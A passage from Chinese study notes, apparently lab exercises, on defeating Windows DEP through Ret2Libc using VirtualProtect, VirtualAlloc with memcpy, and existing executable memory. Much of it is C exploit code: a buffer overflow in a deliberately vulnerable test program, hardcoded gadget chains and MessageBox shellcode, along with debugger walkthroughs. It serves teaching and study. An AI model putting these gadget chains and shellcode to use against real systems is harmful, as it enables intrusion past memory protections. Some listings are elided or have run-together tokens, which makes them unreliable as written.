 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\x8A\x17\x84\x7C"//pop eax retn
	"\x0A\x1A\xBF\x7C"//pop pop pop retn
	"\xBA\xD9\xBB\x7C"//修正 EBP
	"\x8B\x17\x84\x7C"//RETN
	"\x90\x90\x90\x90"
	"\xBF\x7D\xC9\x77"//push esp jmp eax
	"\xFF\x00\x00\x00"//要修改的内存大小
	"\x40\x00\x00\x00"//可读可写可执行属性代码
;

image-20220626110433976

总结一下刚才的过程:  1.首先通过pop eax ret将pop pop pop ret的地址保存到eax。  2.修正ebp,由于是retn 4,所以要加4个字节的90填充。  3.执行push esp,jmp eax,此时通过ebp索引的参数值已经可以对上号了,除了那个可写的地址。

(4)接下来要把 ESP 写入到 EBP+0x14 处。用 push esp jmp eax 来把 EBP+0x14 写为可写入地址。然后在执行完 pop pop pop retn 后返回到 virtualProtect() 来把 Shellcode 设置为可执行页。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
char shellcode[]=
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\x8A\x17\x84\x7C"//pop eax retn
	"\x0A\x1A\xBF\x7C"//pop pop pop retn
	"\xBA\xD9\xBB\x7C"//修正 EBP
	"\x8B\x17\x84\x7C"//RETN
	"\x90\x90\x90\x90"
	"\xBF\x7D\xC9\x77"//push esp jmp eax
	"\xFF\x00\x00\x00"//要修改的内存大小
	"\x40\x00\x00\x00"//可读可写可执行属性代码
	"\xBF\x7D\xC9\x77"//push esp jmp eax
	"\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\xE8\x1F\x80\x7C"//修改内存属性

image-20220626105048718

如下图所示,EAX 的值为 1, 根据 MSDN 的介绍说明我们已经成功修改了内存属性。

image-20220626111913356

( 3)跳转到 shellcode 执行

接下来的布置工作很简单,在位置 0X12FE98 放置 JMP ESP 指令,并在 RETN 0x10 后 ESP 指向的位置(0x0012FEAC)开始放置弹出对话框的机器码,实现 exploit。

按下图布置 shellcode: image-20220626114457594

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    //"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\x8A\x17\x84\x7C"//pop eax retn
	"\x0A\x1A\xBF\x7C"//pop pop pop retn
	"\xBA\xD9\xBB\x7C"//修正 EBP ,push esp pop ebp retn
	"\x8B\x17\x84\x7C"//RETN
	"\x90\x90\x90\x90"
	"\xBF\x7D\xC9\x77"//push esp jmp eax
	"\xFF\x00\x00\x00"//要修改的内存大小
	"\x40\x00\x00\x00"//可读可写可执行属性代码
	"\xBF\x7D\xC9\x77"//push esp jmp eax
	"\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\xE8\x1F\x80\x7C"//修改内存属性
	"\x90\x90\x90\x90"
    "\xA4\xDE\xA2\x7C"//jmp esp
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    ;
void test()
{
    char str[176];
    memcpy(str,shellcode,420);
}
int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();
    return 0;
}

运行程序,弹出 “failwest” 对话框,攻击成功,如下图。

image-20220626112209723

Ret2Libc 实战之利用 VirtualAlloc

除了修改属性外,我们还可以通过 kernel32.dll 中的 VirtualAlloc 函数来申请一段具有可执行属性的内存。 我们就可以将 Ret2Libc 的第一跳设置为 VirtualAlloc 函数地址,然后将shellcode 复制到申请的内存空间里,以绕过 DEP 的限制。

1
2
3
4
5
6
LPVOID WINAPI VirtualAlloc(
    __in_opt	LPVOID lpAddress,	//申请内存区域的地址,如果这个参数是 NULL,系统将会决定分配内存区域的位置,并且按 64KB 向上取整。
    __in 		SIZE_T dwSize,	//申请内存区域的大小。
    __in 		DWORD flAllocationType,	//申请内存区域的大小。
    __in 		DWORD flProtect		//申请内存的访问控制类型,如读、写、执行等权限。
);//内存申请成功时函数返回申请内存的起始地址,申请失败时返回 NULL。

image-20220626115522694

安照如下参数布置函数,来申请可执行的空间。

VirtualAlloc(0x0030000, 0xFF, 0x00001000, 0x00000040)

( 1) lpAddress=0x00030000,只要选择一个未被占用的地址即可,没有什么特殊要求。 ( 2) dwSize=0xFF,申请空间的大小可以根据 shellcode 的长度确定,本次实验申请 255 个字节,足够 shellcode 使用。 ( 3) flAllocationType=0x00001000,该值使用 0x00001000 即可, 如有特殊需要可根据 MSDN的介绍来设置为其他值。 ( 4) flProtect=0x00000040,内存属性要设置为可读可写可执行,根据 MSDN 介绍,该属性对应的代码为 0x00000040。

实验代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "……"
    "\x90\x90\x90\x90"
    "\xBA\xD9\xBB\x7C"//修正 EBP retn 4
    "\xBC\x45\x82\x7C"//申请空间
    "\x90\x90\x90\x90"
    "\xFF\xFF\xFF\xFF"//-1 当前进程
    "\x00\x00\x03\x00"//申请空间起始地址
    "\xFF\x00\x00\x00"//申请空间大小
    "\x00\x10\x00\x00"//申请类型
    "\x40\x00\x00\x00"//申请空间访问类型
    "\x90\x90\x90\x90"
    "\x8A\x17\x84\x7C"//pop eax retn

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x0B\x1A\xBF\x7C"//pop pop retn
    "\xBA\xD9\xBB\x7C"//修正 EBP retn4
    "\x5F\x78\xA6\x7C"//pop retn
    "\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
    "\x00\x00\x03\x00"//可执行内存空间地址,复制用
    "\xBF\x7D\xC9\x77"//push esp jmp eax && 原始 shellcode 起始地址
    "\xFF\x00\x00\x00"//shellcode 长度
    "\xAC\xAF\x94\x7C"//memcpy
    "\x00\x00\x03\x00"//一个可以读地址
    "\x00\x00\x03\x00"//一个可以读地址
    "\x00\x90\x90\x94"
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "……"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
    chartt[176];
    memcpy(tt,shellcode,450);
}
int main()
{
    HINSTANCEhInst = LoadLibrary("shell32.dll");
    chartemp[200];
    test();
    return 0;
}

实验思路:

( 1)为了更直观地反映绕过 DEP 的过程,我们在本次实验中不启用 GS 和 SafeSEH。 ( 2)函数 test 中通过向 str 复制超长字符串造成 str 溢出,进而覆盖函 数返回地址。 ( 3)覆盖掉函数返回地址后,通过 Ret2Libc 技术,利用 VirtualAlloc 函数申请一段具有执行权限的内存。 ( 4)通过 memcpy 函数将 shellcode 复制到 VirtualAlloc 函数申请的可执行内存空间中。 ( 5)最后在这段可执行的内存空间中执行 shellcode,实现 DEP 的绕过。

推荐使用的环境备 注
操作系统Windows 2003 SP2
DEP 状态Optout
编译器VC++ 6.0
编译选项禁用优化选项
build 版本release 版本

实验步骤:

( 1)先修复 EBP(把 ESP赋值给 EBP),并布置参数

用 PUSH ESP POP EBP RETN 4 指令的地址覆盖 test 函数的返回地址,然后按照以上参数布置一个能够申请可执行内存空间的 shellcode。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "……"
    "\x90\x90\x90\x90"
    "\xBA\xD9\xBB\x7C"//修正 EBP retn 4
    "\xBC\x45\x82\x7C"//CALL VirtualAllocEx 地址
    "\x90\x90\x90\x90"
    "\xFF\xFF\xFF\xFF"//-1 当前进程
    "\x00\x00\x03\x00"//申请空间起始地址 0x00030000
    "\xFF\x00\x00\x00"//申请空间大小 0xFF
    "\x00\x10\x00\x00"//申请类型 0x1000
    "\x40\x00\x00\x00"//申请空间访问类型 0x40
    ;

调试程序,在 0x7CBBD9BA(调整 EBP 入口)处下断点,然后按 F8 键单步运行到 0x7C8245C2( VirtualAlloc 函数的 RETN 0x10)暂停,观察内存状态。EAX 中是我们申请空间的起始地址0x00030000,说明我们的空间申请成功了,此时通过 OllyDbg 的内存窗口也可以看到我们刚刚申请的空间,而且属性是带 E 的标志!

image-20220626140259166

image-20220626134703731

( 2)把 shellcode 复制到刚申请的内存空间中

用位于 ntdll.dll 中的 memcpy 函数进行复制,它需要三个参数,依次为目的内存起始地址源内存起始地址复制长度,其中目的内存起始地址和复制长度都可以直接写在 shellcode 中,唯一的难点在于对源内存起始地址的确定。

image-20220626155811489

实际上我们不需要精确的定位,只要保证源内存起始地址在 shellcode 中关键代码的前边即可,因此可以使用 PUSH ESP JMP EAX 指令来填充这个参数。

另外一个需要注意的问题,在空间申请后 EBP 被设置成 0x00000000,而后边我们还会再用到 EBP,所以还需要修复 EBP。 最后还需要注意 VirtualAlloc 函数返回时带有 16( 0x10)个字节的偏移,要在 shellcode 中要添加相应的填充。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "……"
    "\x90\x90\x90\x90"
    "\xBA\xD9\xBB\x7C"//修正 EBP retn 4
    "\xBC\x45\x82\x7C"//CALL VirtualAllocEx 地址
    "\x90\x90\x90\x90"
    "\xFF\xFF\xFF\xFF"//-1 当前进程
    "\x00\x00\x03\x00"//申请空间起始地址 0x00030000
    "\xFF\x00\x00\x00"//申请空间大小 0xFF
    "\x00\x10\x00\x00"//申请类型 0x1000
    "\x40\x00\x00\x00"//申请空间访问类型 0x40
    
    "\x90\x90\x90\x90"
    "\x8A\x17\x84\x7C"//pop eax retn
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"//EAX 指向的指令暂时先用\x90 填充
    "\xBA\xD9\xBB\x7C"//修正 EBP
    ;

运行调试,在第二次修复 EBP 的 retn 4 处暂停,此时 EBP=ESP=0x0012FEA4,而 memcpy 中的源内存地址参数位于 EBP+0x0C(0x0012FEB0),如果我们要使用 PUSH ESP 的方式设置源内存地址,就需要让 ESP 指向 EBP+0x10(0x0012FEB4),这样执行完 PUSH 操作后 ESP 的值刚好放在 EBP+0x0C。为了达到这个目的有两个问题需要解决: ESP 如何指向 EBP+0x10PUSH ESP 操作后程序控制权如何回收。

image-20220626161001067

  1. 先来解决第一个问题。当执行完 retn 4 后,ESP 指向 EBP+0x8 位置,现在要想 ESP 指向 EBP+0x10 就只需要再执行一条 pop retn 指令。在当前 EBP 的位置放置 POP ECX RETN(地址为 0x7CA6785F)。
  2. 再来解决第二个问题。在执行完 PUSH 操作后收回程序控制权的最佳位置在 EBP+0x14,因为在这个位置执行 RETN 指令既保证了 memcpy 参数不被破坏,又可以减小 shellcode 长度。故在执行完 PUSH 操作后我们只需要 POP 两次就可以让 ESP 指向 EBP+0x14,所以 JMP EAX指令中的 EAX 只要指向类似 POP POP RETN 指令即可。然后在 EBP+0x14 位置放置 memcpy函数的切入点 0x7C94AFAC( MOV ESI,DWORD PTR SS:[EBP+C]),这样程序在执行类似 POP POP RETN 指令中 RETN 时就可以转入 memcpy 函数中执行复制操作了。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "……"
    "\x90\x90\x90\x90"
    "\xBA\xD9\xBB\x7C"//修正 EBP retn 4
    "\xBC\x45\x82\x7C"//CALL VirtualAllocEx 地址
    "\x90\x90\x90\x90"
    "\xFF\xFF\xFF\xFF"//-1 当前进程
    "\x00\x00\x03\x00"//申请空间起始地址 0x00030000
    "\xFF\x00\x00\x00"//申请空间大小 0xFF
    "\x00\x10\x00\x00"//申请类型 0x1000
    "\x40\x00\x00\x00"//申请空间访问类型 0x40
    "\x90\x90\x90\x90"
    "\x8A\x17\x84\x7C"//pop eax retn
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x0B\x1A\xBF\x7C"//pop pop retn
    "\xBA\xD9\xBB\x7C"//修正 EBP retn4
    "\x5F\x78\xA6\x7C"//pop retn
    "\x90\x90\x90\x90"
    "\x00\x00\x03\x00"//可执行内存空间地址
    "\xBF\x7D\xC9\x77"//push esp jmp eax && 原始 shellcode 起始地址
    "\xFF\x00\x00\x00"//shellcode 长度
    "\xAC\xAF\x94\x7C"//memcpy 函数切入点;
    ;

运行调试,在 memcpy 函数复制结束返回前暂停,此时 ESP=0x0012FEA8,位于 shellcode 中,并且这里只是放置了填充符。它位于 pop pop retn 指令地址和 memcpy 参数之间,并且紧挨着 memcpy 第一个参数。

image-20220626165428530

接下来,只要在这个位置(0x0012FEA8)填上申请的可执行内存空间起始地址(0x00030000),就能转入该区域执行。

由上图可知,复制的源内存地址为 0x0012FEB4,就是 memcpy 函数的复制长度参数所在位置,所以只要在它后面接弹出对话框的机器码就行了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "……"
    "\x90\x90\x90\x90"
    "\xBA\xD9\xBB\x7C"//修正 EBP retn 4
    "\xBC\x45\x82\x7C"//CALL VirtualAllocEx 地址
    "\x90\x90\x90\x90"
    "\xFF\xFF\xFF\xFF"//-1 当前进程
    "\x00\x00\x03\x00"//申请空间起始地址 0x00030000
    "\xFF\x00\x00\x00"//申请空间大小 0xFF
    "\x00\x10\x00\x00"//申请类型 0x1000
    "\x40\x00\x00\x00"//申请空间访问类型 0x40
    "\x90\x90\x90\x90"
    "\x8A\x17\x84\x7C"//pop eax retn
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x0B\x1A\xBF\x7C"//pop pop retn
    "\xBA\xD9\xBB\x7C"//修正 EBP retn4
    "\x5F\x78\xA6\x7C"//pop retn
    "\x00\x00\x03\x00"
    "\x00\x00\x03\x00"//可执行内存空间地址
    "\xBF\x7D\xC9\x77"//push esp jmp eax && 原始 shellcode 起始地址
    "\xFF\x00\x00\x00"//shellcode 长度
    "\xAC\xAF\x94\x7C"//memcpy 函数切入点;
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    ;

运行结果,并没有弹出我们预想的 ”failwest“ 对话框。

image-20220626170404322

因为memcpy 函数复制过来的不只是弹出对话框的机器码,还包含着弹出对话框机器码前面的一些指令和参数,而这些东西会破坏程序的执行。

image-20220626172315190

image-20220626170532058

最终 shellcode 如下所示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "……"
    "\x90\x90\x90\x90"
    "\xBA\xD9\xBB\x7C"//修正 EBP retn 4
    "\xBC\x45\x82\x7C"//CALL VirtualAllocEx 地址
    "\x90\x90\x90\x90"
    "\xFF\xFF\xFF\xFF"//-1 当前进程
    "\x00\x00\x03\x00"//申请空间起始地址 0x00030000
    "\xFF\x00\x00\x00"//申请空间大小 0xFF
    "\x00\x10\x00\x00"//申请类型 0x1000
    "\x40\x00\x00\x00"//申请空间访问类型 0x40
    "\x90\x90\x90\x90"
    "\x8A\x17\x84\x7C"//pop eax retn
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x0B\x1A\xBF\x7C"//pop pop retn
    "\xBA\xD9\xBB\x7C"//修正 EBP retn4
    "\x5F\x78\xA6\x7C"//pop retn
    "\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
    "\x00\x00\x03\x00"//可执行内存空间地址,复制用
    "\xBF\x7D\xC9\x77"//push esp jmp eax && 原始 shellcode 起始地址
    "\xFF\x00\x00\x00"//shellcode 长度
    "\xAC\xAF\x94\x7C"//memcpy
    "\x00\x00\x03\x00"//一个可以读地址
    "\x00\x00\x03\x00"//一个可以读地址
    "\x00\x90\x90\x94"
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "……"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

首先是对 ESI 和 EDI 指向内存的操作,在 0x00030004 和 0x00030005 分别对 ESI 和 EDI 指向的内存有读取操作,我们需要保证 ESI 和 EDI 指向合法的位置。 ESI 和 EDI 是在 memcpy 函数返回前被 POP 进去的。

接下来是 0x00030006 的 XCHG EAX,EBP 指令,这条指令直接破坏了 ESP,而在弹出对话框的机器码中有 PUSH 操作,所以 ESP 要修复,故我们在弹出对话框的机器码前边使用 0x94 填充,在 0x00030013 处来修复这个问题。

image-20220626180652350

最后是 0x0003000F 的对[EAX]操作,如果 0x00030010 处使用 0x90 填充,结果就是对[EAX+0x909094FC]操作,这会引发异常,所以我们使用 0x00 填充 0x00030010,避免出现异常。

实际上我们有种更简单的方法来处理掉这些垃圾指令,从上图中大家可以看到我们弹出对话框的机器码起始地址为 0x00030008,我们可以让 memcpy 函数返回时直接跳转到这个位置,跃过前边的垃圾指令。

image-20220626180928314

利用可执行内存挑战 DEP

有的时候在进程的内存空间中会存在一段可读可写可执行的内存,如果我们能够将 shellcode 复制到这段内存中,并劫持程序流程,我们的 shellcode 就有执行的机会。

image-20220626181911817

这个实验与上一节的利用 VirtualAlloc 相似,只不过这次实验利用的是已经存在的可读可写可执行的内存空间,而上一节的实验是我们利用的是通过 VirtualAlloc() 函数创造的内存空间。所以这个实验与上一节实验基本相同,在此就不过多介绍。

源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x8A\x17\x84\x7C"//pop eax retn
    "\x0B\x1A\xBF\x7C"//pop pop retn
    "\xBA\xD9\xBB\x7C"//修正 EBP retn 4
    "\x5F\x78\xA6\x7C"//pop retn
    "\x08\x00\x14\x00"//可执行内存中弹出对话框机器码的起始地址
    "\x00\x00\x14\x00"//可执行内存空间地址,复制用
    "\xBF\x7D\xC9\x77"//push esp jmp eax && 原始 shellcode 起始地址
    "\xFF\x00\x00\x00"//shellcode 长度
    "\xAC\xAF\x94\x7C"//memcpy
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x61\x30\x5F\x5F\x68\x68\x75\x31\x79\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    ;
void test()
{
	char tt[176];
	memcpy(tt,shellcode,450);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}